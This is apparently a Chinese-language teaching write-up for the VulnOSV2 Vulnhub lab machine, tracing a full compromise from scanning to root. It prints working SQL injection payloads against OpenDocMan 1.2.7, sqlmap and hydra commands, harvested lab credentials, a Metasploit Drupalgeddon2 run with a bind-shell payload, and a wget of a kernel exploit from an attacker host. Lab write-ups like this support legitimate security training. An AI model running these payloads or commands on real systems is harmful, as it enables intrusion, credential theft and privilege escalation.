Vulnhub靶机渗透总结之VulnOSV2
字数 2416 2025-08-24 07:48:33

VulnOSV2靶机渗透教学文档

0x01 靶机基本信息

0x02 信息收集阶段

1. 主机发现

nmap 192.168.50.0/24 -sn --min-rate 1000

2. 端口扫描

nmap 192.168.50.10 -sT -p- --min-rate 1000 -oA nmap_result/port_scan
nmap 192.168.50.10 -sU --top-ports 10 -oA nmap_result/port_udp_scan

3. 服务识别

port=$(grep open nmap_result/port_scan.nmap | grep open | awk -F '/' '{print $1}' | paste -sd ',')
nmap 192.168.50.10 -p $port -sT -sV -O -sC -oA nmap_result/server_info
nmap 192.168.50.10 -p $port --script=vuln -oA nmap_result/vuln_info

发现开放端口:

  • 22/tcp - OpenSSH 6.6.1p1 (Ubuntu)
  • 80/tcp - Apache httpd 2.4.7 (Ubuntu)
  • 6667/tcp - ngircd (IRC服务)

4. Web目录扫描

dirsearch -u "http://192.168.50.10" -o dirsearch_info
gobuster dir -u http://192.168.50.10/jabc -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -o gobuster_info
whatweb "http://192.168.50.10/jabc"

重要发现:

  • /jabc/includes/ - 存放配置文件源码
  • /jabc/modules/ - 存放框架模块源码

0x03 Web渗透分析

1. 源码提示信息

  • 访问首页跳转到/jabc/
  • Documentation模块内容空白,查看源码发现提示
  • 访问/jabc/jabcd0cs/,使用guest:guest登录
  • 站点底部显示使用OpenDocMan 1.2.7搭建

2. 信息整理

  • JABS模块收集到三个标题信息: Aramaki、Kusanagi、Togusa
  • Documentation模块发现注释:/jabc/jabcd0cs/, guest:guest
  • CMS框架及版本: OpenDocMan 1.2.7

0x04 CMS框架漏洞利用

1. OpenDocMan 1.2.7 SQL注入漏洞(CVE-2014-1945)

利用payload:

http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version(),3,4,5,6,7,8,9

注意: 后端过滤单引号,可使用十六进制编码表示表名

2. SQL注入步骤

  1. 获取库名:
?q=1&add_value=odm_user%20UNION%20SELECT%201,database(),3,4,5,6,7,8,9
  1. 获取表名:
?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(table_name),3,4,5,6,7,8,9 from information_schema.tables where table_schema=database()
  1. 获取列名(使用16进制编码表名):
?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_name=0x6f646d5f75736572 and table_schema=database()
  1. 获取数据:
?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(concat(username,0x5e,password)),3,4,5,6,7,8,9 from odm_user

3. 使用sqlmap自动化注入

sqlmap -u "http://192.168.50.10/jabcd0cs//ajax_udf.php?q=1&add_value=odm_user" --level=3 --risk=3 -D jabcd0cs -T odm_user -C username,password --dump
sqlmap -u "http://192.168.50.10/jabcd0cs//ajax_udf.php?q=1&add_value=odm_user" --level=3 --risk=3 --current-user
sqlmap -u "http://192.168.50.10/jabcd0cs//ajax_udf.php?q=1&add_value=odm_user" --level=3 --risk=3 --is-dba

获取凭证:

  • jabcd0cs.odm_user表:
    • webmin:webmin1980 (MD5解密后)
    • guest:guest
  • mysql.user表:
    • root:toor
    • phpmyadmin:toor
    • drupal7:toor

4. 初始立足点

使用获取的凭证通过SSH登录:

ssh webmin@192.168.50.10

0x05 提权信息收集

1. 使用LinEnum.sh收集信息

scp LinEnum.sh webmin@192.168.50.10:/tmp/
./LinEnum.sh -r linenum_info -e /tmp/ -t

2. 使用linux-exploit-suggester.sh

./linux-exploit-suggester.sh -g

3. 重要发现

  • /home/webmin/post.tar.gz (gzip文件,解压后是hydra)
  • 用户: uid=1000(vulnosadmin),但不知道密码
  • bash环境有三个用户: root, vulnosadmin, postgres
  • 网站目录: /var/www
  • 开放端口: 3306 (MySQL), 5432 (PgSQL 9.3.11)
  • mysqld以mysql用户运行,不是root权限
  • 进程存在postgres,但不是root权限运行
  • SUID都是常规系统目录
  • 计划任务没有值得注意的

0x06 PostgreSQL深入探索

1. 端口转发(SSH正向代理)

发现5432端口只在本地开启(127.0.0.1:5432),通过SSH转发:

ssh -L 5557:localhost:5432 webmin@192.168.50.10

2. PostgreSQL密码爆破(MSF)

msfconsole -q -x 'use scanner/postgres/postgres_login;set rhost 127.0.0.1;set rport 5557;run'

或使用靶机上的hydra:

# Kali上
scp /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt webmin@192.168.50.10:~
scp /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt webmin@192.168.50.10:~

# 靶机上
tar -xzf post.tar.gz
./configure
make
./post/hydra -L postgres_default_user.txt -P postgres_default_pass.txt postgres://127.0.0.1

成功爆破: postgres:postgres

3. PostgreSQL信息枚举

使用pg_dumpall提取数据库:

PGPASSWORD="postgres" pg_dumpall -U postgres -h 127.0.0.1 -p 5557

或直接登录查询:

psql -h localhost -U postgres
\list  # 列出数据库
\c <database>  # 使用数据库
\d  # 列出表
SELECT * FROM users;

获取凭证: vulnosadmin:c4nuh4ckm3tw1c3

4. 第二个立足点

ssh vulnosadmin@192.168.50.10

发现文件: ~/r00t.blend (Blender 3D文件)

分析文件:

# Kali上
scp vulnosadmin@192.168.50.10:~/r00t.blend .
file r00t.blend
binwalk r00t.blend
cat r00t.blend
strings r00t.blend

发现信息: 使用Blender软件查看,调整角度后发现文字"ab12fg//drg"

5. 获取root权限

ssh root@192.168.50.10
# 密码: ab12fg//drg

0x07 其他渗透尝试

1. AWVS扫描发现

  • 数据库配置文件泄露: http://192.168.50.10/jabc/includes/database/database.inc
  • Drupal RCE (SA-CORE-2018-002): http://192.168.50.10/jabc/

2. 网站后台文件上传

  • 路径: http://192.168.50.10/jabcd0cs
  • 使用webmin账户登录(管理员权限)
  • 在admin模块新增允许上传文件类型text/x-php
  • 文件上传路径: /uploads
  • 问题: 上传的php文件后缀会被转换为dat格式

3. Drupal RCE (CVE-2018-7600)

# 使用searchsploit查找漏洞
searchsploit Drupal -m 44449
# 或使用MSF模块
msfconsole -q -x 'use exploit/unix/webapp/drupal_drupalgeddon2;set rhosts 192.168.50.10;set targeturi /jabc;set payload php/bind_perl;run'

4. 内核提权(CVE-2003-0127)

wget http://192.168.220.128:8081/37292.c
chmod +x 37292.c
gcc 37292.c -o test
chmod +x test
./test

0x08 渗透总结

攻击路径

  1. 通过OpenDocMan 1.2.7的SQL注入漏洞获取webmin用户凭证
  2. 通过SSH登录webmin用户
  3. 发现本地PostgreSQL服务,通过端口转发爆破获取vulnosadmin用户凭证
  4. 通过SSH登录vulnosadmin用户
  5. 分析r00t.blend文件获取root密码
  6. 通过SSH登录root用户

关键技巧

  1. 源码利用: 许多网站使用现成源码,可能存在默认信息可利用
  2. 目录扫描: 使用大字典扫描,针对特定场景选择专用字典
  3. 信息敏感度: 收集到的用户名可能在后续爆破或信息利用中发挥作用
  4. SQL注入技巧: 结合PHP开发习惯探测交互行为
  5. 端口转发: 当服务只在本地监听时,通过SSH转发实现远程访问
  6. 源码检查: 纯HTML页面可能隐藏重要注释信息

学习要点

  • 标准攻击链的实践应用
  • 多种提权方式的尝试与选择
  • 从信息收集到最终提权的完整流程
  • 多种工具的综合使用(nmap, sqlmap, hydra, msf等)
  • 端口转发技术的实际应用
VulnOSV2靶机渗透教学文档 0x01 靶机基本信息 名称 : VulnOSV2 作者 : c4b3rw0lf 发布日期 : 2016年5月17日 难度 : 中等 下载链接 : https://www.vulnhub.com/entry/vulnos-2,147/ 目标IP : 192.168.50.10 攻击机IP : 192.168.50.128 (Kali Linux) 0x02 信息收集阶段 1. 主机发现 2. 端口扫描 3. 服务识别 发现开放端口 : 22/tcp - OpenSSH 6.6.1p1 (Ubuntu) 80/tcp - Apache httpd 2.4.7 (Ubuntu) 6667/tcp - ngircd (IRC服务) 4. Web目录扫描 重要发现 : /jabc/includes/ - 存放配置文件源码 /jabc/modules/ - 存放框架模块源码 0x03 Web渗透分析 1. 源码提示信息 访问首页跳转到 /jabc/ Documentation模块内容空白,查看源码发现提示 访问 /jabc/jabcd0cs/ ,使用 guest:guest 登录 站点底部显示使用OpenDocMan 1.2.7搭建 2. 信息整理 JABS模块收集到三个标题信息: Aramaki、Kusanagi、Togusa Documentation模块发现注释: /jabc/jabcd0cs/ , guest:guest CMS框架及版本: OpenDocMan 1.2.7 0x04 CMS框架漏洞利用 1. OpenDocMan 1.2.7 SQL注入漏洞(CVE-2014-1945) 利用payload : 注意 : 后端过滤单引号,可使用十六进制编码表示表名 2. SQL注入步骤 获取库名: 获取表名: 获取列名(使用16进制编码表名): 获取数据: 3. 使用sqlmap自动化注入 获取凭证 : jabcd0cs.odm_user 表: webmin:webmin1980 (MD5解密后) guest:guest mysql.user 表: root:toor phpmyadmin:toor drupal7:toor 4. 初始立足点 使用获取的凭证通过SSH登录: 0x05 提权信息收集 1. 使用LinEnum.sh收集信息 2. 使用linux-exploit-suggester.sh 3. 重要发现 /home/webmin/post.tar.gz (gzip文件,解压后是hydra) 用户: uid=1000(vulnosadmin),但不知道密码 bash环境有三个用户: root, vulnosadmin, postgres 网站目录: /var/www 开放端口: 3306 (MySQL), 5432 (PgSQL 9.3.11) mysqld以mysql用户运行,不是root权限 进程存在postgres,但不是root权限运行 SUID都是常规系统目录 计划任务没有值得注意的 0x06 PostgreSQL深入探索 1. 端口转发(SSH正向代理) 发现5432端口只在本地开启(127.0.0.1:5432),通过SSH转发: 2. PostgreSQL密码爆破(MSF) 或使用靶机上的hydra: 成功爆破 : postgres:postgres 3. PostgreSQL信息枚举 使用pg_ dumpall提取数据库: 或直接登录查询: 获取凭证 : vulnosadmin:c4nuh4ckm3tw1c3 4. 第二个立足点 发现文件 : ~/r00t.blend (Blender 3D文件) 分析文件: 发现信息 : 使用Blender软件查看,调整角度后发现文字"ab12fg//drg" 5. 获取root权限 0x07 其他渗透尝试 1. AWVS扫描发现 数据库配置文件泄露: http://192.168.50.10/jabc/includes/database/database.inc Drupal RCE (SA-CORE-2018-002): http://192.168.50.10/jabc/ 2. 网站后台文件上传 路径: http://192.168.50.10/jabcd0cs 使用webmin账户登录(管理员权限) 在admin模块新增允许上传文件类型 text/x-php 文件上传路径: /uploads 问题: 上传的php文件后缀会被转换为dat格式 3. Drupal RCE (CVE-2018-7600) 4. 内核提权(CVE-2003-0127) 0x08 渗透总结 攻击路径 通过OpenDocMan 1.2.7的SQL注入漏洞获取webmin用户凭证 通过SSH登录webmin用户 发现本地PostgreSQL服务,通过端口转发爆破获取vulnosadmin用户凭证 通过SSH登录vulnosadmin用户 分析r00t.blend文件获取root密码 通过SSH登录root用户 关键技巧 源码利用 : 许多网站使用现成源码,可能存在默认信息可利用 目录扫描 : 使用大字典扫描,针对特定场景选择专用字典 信息敏感度 : 收集到的用户名可能在后续爆破或信息利用中发挥作用 SQL注入技巧 : 结合PHP开发习惯探测交互行为 端口转发 : 当服务只在本地监听时,通过SSH转发实现远程访问 源码检查 : 纯HTML页面可能隐藏重要注释信息 学习要点 标准攻击链的实践应用 多种提权方式的尝试与选择 从信息收集到最终提权的完整流程 多种工具的综合使用(nmap, sqlmap, hydra, msf等) 端口转发技术的实际应用